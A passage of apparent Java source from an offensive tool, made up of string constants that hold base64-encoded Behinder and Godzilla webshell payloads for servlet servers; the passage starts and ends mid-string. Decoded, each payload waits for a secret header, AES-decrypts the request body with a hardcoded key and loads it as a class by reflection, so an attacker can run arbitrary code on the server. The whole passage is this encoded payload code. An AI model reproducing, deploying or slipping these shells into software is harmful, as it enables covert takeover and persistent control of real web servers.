"ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQl0cnkgewoJCQkJT2JqZWN0IHZhbHVlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtIRUFERVJfS0VZfSk7CgkJCQlpZiAodmFsdWUgIT0gbnVsbCAmJiB2YWx1ZS50b1N0cmluZygpLmNvbnRhaW5zKEhFQURFUl9WQUxVRSkpIHsKCQkJCQlPYmplY3QgbWV0aG9kID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldE1ldGhvZCIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChtZXRob2QgIT0gbnVsbCAmJiBtZXRob2QudG9TdHJpbmcoKS5lcXVhbHMoIlBPU1QiKSkgewoJCQkJCQlqYXZhLnV0aWwuSGFzaE1hcCBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOwoJCQkJCQlPYmplY3QgICAgICAgICAgICBzZXNzaW9uICAgICA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCByZXNwKTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7CgkJCQkJCWphdmEubGFuZy5TdHJpbmdCdWlsZGVyIHBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoZ2V0TWV0aG9kQW5kSW52b2tlKGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRSZWFkZXIiLCBudWxsLCBudWxsKSwgInJlYWRMaW5lIiwgbnVsbCwgbnVsbCkudG9TdHJpbmcoKSk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgbWV0aG9kID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLkNsYXNzTG9hZGVyIikuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCQltZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJYnl0ZVtdIGV2aWxjbGFzc19ieXRlID0gYy5kb0ZpbmFsKGJhc2U2NERlY29kZShwYXlsb2FkLnRvU3RyaW5nKCkpKTsKCQkJCQkJQ2xhc3MgIGV2aWxjbGFzcyAgICAgID0gKENsYXNzKSBtZXRob2QuaW52b2tlKFRocmVhZC5jdXJyZW50VGhyZWFkKCkuZ2V0Q29udGV4dENsYXNzTG9hZGVyKCksIG5ldyBPYmplY3RbXXtldmlsY2xhc3NfYnl0ZSwgSW50ZWdlci52YWx1ZU9mKDApLCBJbnRlZ2VyLnZhbHVlT2YoZXZpbGNsYXNzX2J5dGUubGVuZ3RoKX0pOwoJCQkJCQlldmlsY2xhc3MubmV3SW5zdGFuY2UoKS5lcXVhbHMocGFnZUNvbnRleHQpOwoJCQkJCX0KCQkJCX0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0="; - - public static String BEHINDER_SHELL_OBSCURE = "ewoJCQlPYmplY3QgcmVxICA9ICQxOwoJCQlPYmplY3QgcmVzcCA9ICQyOwoJCQl0cnkgewoJCQkJT2JqZWN0IHZhbHVlID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldEhlYWRlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtIRUFERVJfS0VZfSk7CgkJCQlpZiAodmFsdWUgIT0gbnVsbCAmJiB2YWx1ZS50b1N0cmluZygpLmNvbnRhaW5zKEhFQURFUl9WQUxVRSkpIHsKCQkJCQlPYmplY3QgbWV0aG9kID0gZ2V0TWV0aG9kQW5kSW52b2tlKHJlcSwgImdldE1ldGhvZCIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChtZXRob2QgIT0gbnVsbCAmJiBtZXRob2QudG9TdHJpbmcoKS5lcXVhbHMoIlBPU1QiKSkgewoJCQkJCQlqYXZhLnV0aWwuSGFzaE1hcCBwYWdlQ29udGV4dCA9IG5ldyBqYXZhLnV0aWwuSGFzaE1hcCgpOwoJCQkJCQlPYmplY3QgICAgICAgICAgICBzZXNzaW9uICAgICA9IGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRTZXNzaW9uIiwgbnVsbCwgbnVsbCk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVxdWVzdCIsIHJlcSk7CgkJCQkJCXBhZ2VDb250ZXh0LnB1dCgicmVzcG9uc2UiLCByZXNwKTsKCQkJCQkJcGFnZUNvbnRleHQucHV0KCJzZXNzaW9uIiwgc2Vzc2lvbik7CgkJCQkJCWphdmEubGFuZy5TdHJpbmdCdWlsZGVyIHBheWxvYWQgPSBuZXcgamF2YS5sYW5nLlN0cmluZ0J1aWxkZXIoZ2V0TWV0aG9kQW5kSW52b2tlKGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRSZWFkZXIiLCBudWxsLCBudWxsKSwgInJlYWRMaW5lIiwgbnVsbCwgbnVsbCkudG9TdHJpbmcoKSk7CgkJCQkJCVN0cmluZyBrID0gImYzNTk3NDBiZDFjZGE5OTQiOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uoc2Vzc2lvbiwgInB1dFZhbHVlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117InUiLCBrfSk7CgkJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCQljLmluaXQoMiwgbmV3IGphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMoay5nZXRCeXRlcygpLCAiQUVTIikpOwoJCQkJCQlieXRlW10gZXZpbGNsYXNzX2J5dGUgPSBjLmRvRmluYWwoYmFzZTY0RGVjb2RlKHBheWxvYWQudG9TdHJpbmcoKSkpOwoJCQkJCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlICAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCQkJQ2xhc3MgZXZpbGNsYXNzID11bnNhZmUuZGVmaW5lQW5vbnltb3VzQ2xhc3MoT2JqZWN0LmNsYXNzLCBldmlsY2xhc3NfYnl0ZSwgbnVsbCk7CgkJCQkJCWV2aWxjbGFzcy5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CgkJCQkJfQoJCQkJfQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCQl9CgkJfQ=="; - - public static String BEHINDER_SHELL_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCWphdmF4LnNlcnZsZXQuaHR0cC5IdHRwU2Vzc2lvbiAgICAgICAgIHNlc3Npb24gICAgID0gcmVxdWVzdC5nZXRTZXNzaW9uKCk7CgkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGF0aFBhdHRlcm4gPSAiJXMiOwoJCWlmIChyZXF1ZXN0LmdldFJlcXVlc3RVUkkoKS5jb250YWlucyhwYXRoUGF0dGVybikpIHsKCQkJamF2YS51dGlsLk1hcCBvYmogPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQkJb2JqLnB1dCgicmVxdWVzdCIsIHJlcXVlc3QpOwoJCQlvYmoucHV0KCJyZXNwb25zZSIsIHJlc3BvbnNlKTsKCQkJb2JqLnB1dCgic2Vzc2lvbiIsIHNlc3Npb24pOwoJCQlDbGFzc0xvYWRlciBsb2FkZXIgPSB0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKTsKCQkJaWYgKHJlcXVlc3QuZ2V0TWV0aG9kKCkuZXF1YWxzKCJQT1NUIikgJiYgcmVxdWVzdC5nZXRIZWFkZXIoIiVzIikuZXF1YWxzKCIlcyIpKSB7CgkJCQl0cnkgewoJCQkJCVN0cmluZyBrID0gIiVzIjsKCQkJCQlzZXNzaW9uLnB1dFZhbHVlKCJ1Iiwgayk7CgkJCQkJamF2YS5sYW5nLkNsYXNzTG9hZGVyIHN5c3RlbUxvYWRlciA9IGphdmEubGFuZy5DbGFzc0xvYWRlci5nZXRTeXN0ZW1DbGFzc0xvYWRlcigpOwoJCQkJCUNsYXNzICAgICAgICAgICAgICAgICBjaXBoZXJDbHMgICAgPSBzeXN0ZW1Mb2FkZXIubG9hZENsYXNzKCJqYXZheC5jcnlwdG8uQ2lwaGVyIik7CgkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgIGMgICAgICAgICAgICA9IGNpcGhlckNscy5nZXREZWNsYXJlZE1ldGhvZCgiZ2V0SW5zdGFuY2UiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoKGphdmEubGFuZy5PYmplY3QpIGNpcGhlckNscywgbmV3IE9iamVjdFtdeyJBRVMifSk7CgkJCQkJT2JqZWN0ICAgICAgICAgICAgICAgIGtleU9iaiAgICAgICA9IHN5c3RlbUxvYWRlci5sb2FkQ2xhc3MoImphdmF4LmNyeXB0by5zcGVjLlNlY3JldEtleVNwZWMiKS5nZXREZWNsYXJlZENvbnN0cnVjdG9yKG5ldyBDbGFzc1tde2J5dGVbXS5jbGFzcywgU3RyaW5nLmNsYXNzfSkubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde2suZ2V0Qnl0ZXMoKSwgIkFFUyJ9KTsKCQkJCQk7CgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGluaXRNZXRob2QgPSBjaXBoZXJDbHMuZ2V0RGVjbGFyZWRNZXRob2QoImluaXQiLCBuZXcgQ2xhc3NbXXtpbnQuY2xhc3MsIHN5c3RlbUxvYWRlci5sb2FkQ2xhc3MoImphdmEuc2VjdXJpdHkuS2V5Iil9KTsKCQkJCQlpbml0TWV0aG9kLmludm9rZShjLCBuZXcgT2JqZWN0W117bmV3IEludGVnZXIoMiksIGtleU9ian0pOwoJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCAgICAgIGRvRmluYWxNZXRob2QgPSBjaXBoZXJDbHMuZ2V0RGVjbGFyZWRNZXRob2QoImRvRmluYWwiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KTsKCQkJCQlqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBib3MgICAgICAgICAgID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJCQkJYnl0ZVtdICAgICAgICAgICAgICAgICAgICAgICAgYnVmICAgICAgICAgICA9IG5ldyBieXRlWzUxMl07CgkJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgbGVuZ3RoICAgICAgICA9IHJlcXVlc3QuZ2V0SW5wdXRTdHJlYW0oKS5yZWFkKGJ1Zik7CgkJCQkJd2hpbGUgKGxlbmd0aCA+IDApIHsKCQkJCQkJYm9zLndyaXRlKGJ1ZiwgMCwgbGVuZ3RoKTsKCQkJCQkJbGVuZ3RoID0gcmVxdWVzdC5nZXRJbnB1dFN0cmVhbSgpLnJlYWQoYnVmKTsKCQkJCQl9CgkJCQkJYnl0ZVtdIHJlcXVlc3RCb2R5ID0gYm9zLnRvQnl0ZUFycmF5KCk7CgkJCQkJdHJ5IHsKCQkJCQkJQ2xhc3MgIEJhc2U2NCAgPSBsb2FkZXIubG9hZENsYXNzKCJzdW4ubWlzYy5CQVNFNjREZWNvZGVyIik7CgkJCQkJCU9iamVjdCBEZWNvZGVyID0gQmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQkJCXJlcXVlc3RCb2R5ID0gKGJ5dGVbXSkgRGVjb2Rlci5nZXRDbGFzcygpLmdldE1ldGhvZCgiZGVjb2RlQnVmZmVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtuZXcgU3RyaW5nKHJlcXVlc3RCb2R5KX0pOwoJCQkJCX0gY2F0Y2ggKFRocm93YWJsZSBleCkgewoJCQkJCQlDbGFzcyAgQmFzZTY0ICA9IGxvYWRlci5sb2FkQ2xhc3MoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJCQkJT2JqZWN0IERlY29kZXIgPSBCYXNlNjQuZ2V0RGVjbGFyZWRNZXRob2QoImdldERlY29kZXIiLCBuZXcgQ2xhc3NbMF0pLmludm9rZShudWxsLCBuZXcgT2JqZWN0WzBdKTsKCQkJCQkJcmVxdWVzdEJvZHkgPSAoYnl0ZVtdKSBEZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoRGVjb2RlciwgbmV3IE9iamVjdFtde25ldyBTdHJpbmcocmVxdWVzdEJvZHkpfSk7CgkJCQkJfQoJCQkJCWJ5dGVbXSAgICAgICAgICAgICAgICAgICBidWYgICAgICAgICAgPSAoYnl0ZVtdKSBkb0ZpbmFsTWV0aG9kLmludm9rZShjLCBuZXcgT2JqZWN0W117cmVxdWVzdEJvZHl9KTsKCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZGVmaW5lTWV0aG9kID0gamF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkTWV0aG9kKCJkZWZpbmVDbGFzcyIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgamF2YS5uaW8uQnl0ZUJ1ZmZlci5jbGFzcywgamF2YS5zZWN1cml0eS5Qcm90ZWN0aW9uRG9tYWluLmNsYXNzfSk7CgkJCQkJZGVmaW5lTWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJamF2YS5sYW5nLnJlZmxlY3QuQ29uc3RydWN0b3IgY29uc3RydWN0b3IgPSBqYXZhLnNlY3VyaXR5LlNlY3VyZUNsYXNzTG9hZGVyLmNsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5sYW5nLkNsYXNzTG9hZGVyLmNsYXNzfSk7CgkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQlqYXZhLmxhbmcuQ2xhc3NMb2FkZXIgY2wgPSAoamF2YS5sYW5nLkNsYXNzTG9hZGVyKSBjb25zdHJ1Y3Rvci5uZXdJbnN0YW5jZShuZXcgT2JqZWN0W117bG9hZGVyfSk7CgkJCQkJamF2YS5sYW5nLkNsYXNzICAgICAgIGMgID0gKGphdmEubGFuZy5DbGFzcykgZGVmaW5lTWV0aG9kLmludm9rZSgoamF2YS5sYW5nLk9iamVjdCkgY2wsIG5ldyBPYmplY3RbXXtudWxsLCBqYXZhLm5pby5CeXRlQnVmZmVyLndyYXAoYnVmKSwgbnVsbH0pOwoJCQkJCWMubmV3SW5zdGFuY2UoKS5lcXVhbHMob2JqKTsKCQkJCX0gY2F0Y2ggKGphdmEubGFuZy5FeGNlcHRpb24gZSkgewoJCQkJCWUucHJpbnRTdGFja1RyYWNlKCk7CgkJCQl9IGNhdGNoIChqYXZhLmxhbmcuRXJyb3IgZXJyb3IpIHsKCQkJCQllcnJvci5wcmludFN0YWNrVHJhY2UoKTsKCQkJCX0KCQkJCXJldHVybjsKCQkJfQoJCX0="; - - public static String GODZILLA_SHELL = "ewoJCQl0cnkgewoJCQkJT2JqZWN0IHJlcSAgPSAkMTsKCQkJCU9iamVjdCByZXNwID0gJDI7CgkJCQlPYmplY3QgdmFsdWUgPSBnZXRNZXRob2RBbmRJbnZva2UocmVxLCAiZ2V0SGVhZGVyIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzfSwgbmV3IE9iamVjdFtde0hFQURFUl9LRVl9KTsKCQkJCWlmICh2YWx1ZSAhPSBudWxsICYmIHZhbHVlLnRvU3RyaW5nKCkuY29udGFpbnMoSEVBREVSX1ZBTFVFKSkgewoJCQkJCVN0cmluZyBwYXNzID0gUEFTUzsKCQkJCQlTdHJpbmcgbWQ1ICA9IG1kNShwYXNzICsgeGMpOwoJCQkJCWJ5dGVbXSBkYXRhID0gYmFzZTY0RGVjb2RlKGdldE1ldGhvZEFuZEludm9rZShyZXEsICJnZXRQYXJhbWV0ZXIiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117cGFzc30pLnRvU3RyaW5nKCkpOwoJCQkJCWRhdGEgPSB4KGRhdGEsIGZhbHNlKTsKCQkJCQlpZiAocGF5bG9hZCA9PSBudWxsKSB7CgkJCQkJCWphdmEubmV0LlVSTENsYXNzTG9hZGVyICB1cmxDbGFzc0xvYWRlciA9IG5ldyBqYXZhLm5ldC5VUkxDbGFzc0xvYWRlcihuZXcgamF2YS5uZXQuVVJMWzBdLCBUaHJlYWQuY3VycmVudFRocmVhZCgpLmdldENvbnRleHRDbGFzc0xvYWRlcigpKTsKCQkJCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIGRlZk1ldGhvZCAgICAgID0gQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGludC5jbGFzc30pOwoJCQkJCQlkZWZNZXRob2Quc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJcGF5bG9hZCA9IChDbGFzcykgZGVmTWV0aG9kLmludm9rZSh1cmxDbGFzc0xvYWRlciwgbmV3IE9iamVjdFtde2RhdGEsIEludGVnZXIudmFsdWVPZigwKSwgSW50ZWdlci52YWx1ZU9mKGRhdGEubGVuZ3RoKX0pOwoJCQkJCX0gZWxzZSB7CgkJCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGFyck91dCA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBmICAgICAgPSBwYXlsb2FkLm5ld0luc3RhbmNlKCk7CgkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIHdyaXRlciA9IGdldE1ldGhvZEFuZEludm9rZShyZXNwLCAiZ2V0V3JpdGVyIiwgbnVsbCwgbnVsbCk7CgkJCQkJCWYuZXF1YWxzKGFyck91dCk7CgkJCQkJCWYuZXF1YWxzKGRhdGEpOwoJCQkJCQlmLmVxdWFscyhyZXEpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAid3JpdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117bWQ1LnN1YnN0cmluZygwLCAxNil9KTsKCQkJCQkJZi50b1N0cmluZygpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAid3JpdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117YmFzZTY0RW5jb2RlKHgoYXJyT3V0LnRvQnl0ZUFycmF5KCksIHRydWUpKX0pOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2Uod3JpdGVyLCAid3JpdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9LCBuZXcgT2JqZWN0W117bWQ1LnN1YnN0cmluZygxNil9KTsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHdyaXRlciwgImZsdXNoIiwgbnVsbCwgbnVsbCk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh3cml0ZXIsICJjbG9zZSIsIG51bGwsIG51bGwpOwoJCQkJCX0KCQkJCX0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJfQoJCX0="; - - public static String GODZILLA_SHELL_FOR_AGENT = "amF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdCAgcmVxdWVzdCAgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVxdWVzdCkgJDE7CgkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVzcG9uc2UgcmVzcG9uc2UgICAgPSAoamF2YXguc2VydmxldC5TZXJ2bGV0UmVzcG9uc2UpICQyOwoJCUNsYXNzTG9hZGVyICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlciAgICAgID0gdGhpcy5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCk7CgkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGF0aFBhdHRlcm4gPSAiJXMiOwoKCQlpZiAocmVxdWVzdC5nZXRSZXF1ZXN0VVJJKCkuY29udGFpbnMocGF0aFBhdHRlcm4pKSB7CgkJCWlmIChyZXF1ZXN0LmdldEhlYWRlcigiJXMiKS5lcXVhbHMoIiVzIikpIHsKCQkJCXRyeSB7CgkJCQkJU3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgIHBhc3MgICAgPSAiJXMiOwoJCQkJCVN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICBrZXkgICAgID0gIiVzIjsKCQkJCQlTdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgcGFzc1N0ciA9IHBhc3MgKyBrZXk7CgkJCQkJamF2YXguc2VydmxldC5odHRwLkh0dHBTZXNzaW9uIHNlc3Npb24gPSByZXF1ZXN0LmdldFNlc3Npb24oKTsKCQkJCQlTeXN0ZW0ub3V0LnByaW50bG4oc2Vzc2lvbik7CgoJCQkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJCQltLnVwZGF0ZShwYXNzU3RyLmdldEJ5dGVzKCksIDAsIHBhc3NTdHIubGVuZ3RoKCkpOwoJCQkJCVN0cmluZyBtZDUgPSBuZXcgamF2YS5tYXRoLkJpZ0ludGVnZXIoMSwgbS5kaWdlc3QoKSkudG9TdHJpbmcoMTYpLnRvVXBwZXJDYXNlKCk7CgoJCQkJCVN0cmluZyBicyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKHBhc3MpOwoKCQkJCQlDbGFzcyAgYmFzZTY0OwoJCQkJCWJ5dGVbXSB2YWx1ZSA9IG51bGw7CgkJCQkJdHJ5IHsKCQkJCQkJYmFzZTY0ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwoJCQkJCQlPYmplY3QgZGVjb2RlciA9IGJhc2U2NC5nZXREZWNsYXJlZE1ldGhvZCgiZ2V0RGVjb2RlciIsIG5ldyBDbGFzc1tde251bGx9KS5pbnZva2UobnVsbCwgbmV3IE9iamVjdFtde251bGx9KTsKCQkJCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQkJdHJ5IHsKCQkJCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKCQkJCQkJCU9iamVjdCBkZWNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQkJCQl2YWx1ZSA9IChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30pLmludm9rZShkZWNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKCQkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUyKSB7CgkJCQkJCX0KCQkJCQl9CgoJCQkJCWphdmF4LmNyeXB0by5DaXBoZXIgYyA9IGphdmF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdGFuY2UoIkFFUyIpOwoJCQkJCWMuaW5pdCgyLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrZXkuZ2V0Qnl0ZXMoKSwgIkFFUyIpKTsKCQkJCQl2YWx1ZSA9IGMuZG9GaW5hbCh2YWx1ZSk7CgoJCQkJCWlmIChzZXNzaW9uLmdldEF0dHJpYnV0ZSgiZ3oiKSA9PSBudWxsKSB7CgkJCQkJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBkZWZpbmVNZXRob2QgPSBqYXZhLmxhbmcuQ2xhc3NMb2FkZXIuY2xhc3MuZ2V0RGVjbGFyZWRNZXRob2QoImRlZmluZUNsYXNzIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBqYXZhLm5pby5CeXRlQnVmZmVyLmNsYXNzLCBqYXZhLnNlY3VyaXR5LlByb3RlY3Rpb25Eb21haW4uY2xhc3N9KTsKCQkJCQkJZGVmaW5lTWV0aG9kLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gamF2YS5zZWN1cml0eS5TZWN1cmVDbGFzc0xvYWRlci5jbGFzcy5nZXREZWNsYXJlZENvbnN0cnVjdG9yKG5ldyBDbGFzc1tde2phdmEubGFuZy5DbGFzc0xvYWRlci5jbGFzc30pOwoJCQkJCQljb25zdHJ1Y3Rvci5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCQlqYXZhLmxhbmcuQ2xhc3NMb2FkZXIgY2wgICAgPSAoamF2YS5sYW5nLkNsYXNzTG9hZGVyKSBjb25zdHJ1Y3Rvci5uZXdJbnN0YW5jZShuZXcgT2JqZWN0W117bG9hZGVyfSk7CgkJCQkJCWphdmEubGFuZy5DbGFzcyAgICAgICBjbGF6eiA9IChqYXZhLmxhbmcuQ2xhc3MpIGRlZmluZU1ldGhvZC5pbnZva2UoKGphdmEubGFuZy5PYmplY3QpIGNsLCBuZXcgT2JqZWN0W117bnVsbCwgamF2YS5uaW8uQnl0ZUJ1ZmZlci53cmFwKHZhbHVlKSwgbnVsbH0pOwoJCQkJCQlzZXNzaW9uLnNldEF0dHJpYnV0ZSgiZ3oiLCBjbGF6eik7CgkJCQkJfSBlbHNlIHsKCQkJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYXJyT3V0ID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJCQkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICAgIGYgICAgICA9ICgoQ2xhc3MpIHNlc3Npb24uZ2V0QXR0cmlidXRlKCJneiIpKS5uZXdJbnN0YW5jZSgpOwoKCQkJCQkJZi5lcXVhbHMoYXJyT3V0KTsKCQkJCQkJZi5lcXVhbHModmFsdWUpOwoJCQkJCQlmLmVxdWFscyhyZXF1ZXN0KTsKCgkJCQkJCWphdmEuaW8uUHJpbnRXcml0ZXIgd3JpdGVyID0gcmVzcG9uc2UuZ2V0V3JpdGVyKCk7CgkJCQkJCXdyaXRlci53cml0ZShtZDUuc3Vic3RyaW5nKDAsIDE2KSk7CgkJCQkJCWYudG9TdHJpbmcoKTsKCgkJCQkJCWMuaW5pdCgxLCBuZXcgamF2YXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrZXkuZ2V0Qnl0ZXMoKSwgIkFFUyIpKTsKCQkJCQkJdmFsdWUgPSBjLmRvRmluYWwoYXJyT3V0LnRvQnl0ZUFycmF5KCkpOwoKCQkJCQkJQ2xhc3MgIGJhc2U2NDI7CgkJCQkJCVN0cmluZyByZXN1bHQgPSBudWxsOwoJCQkJCQl0cnkgewoJCQkJCQkJYmFzZTY0MiA9IENsYXNzLmZvck5hbWUoImphdmEud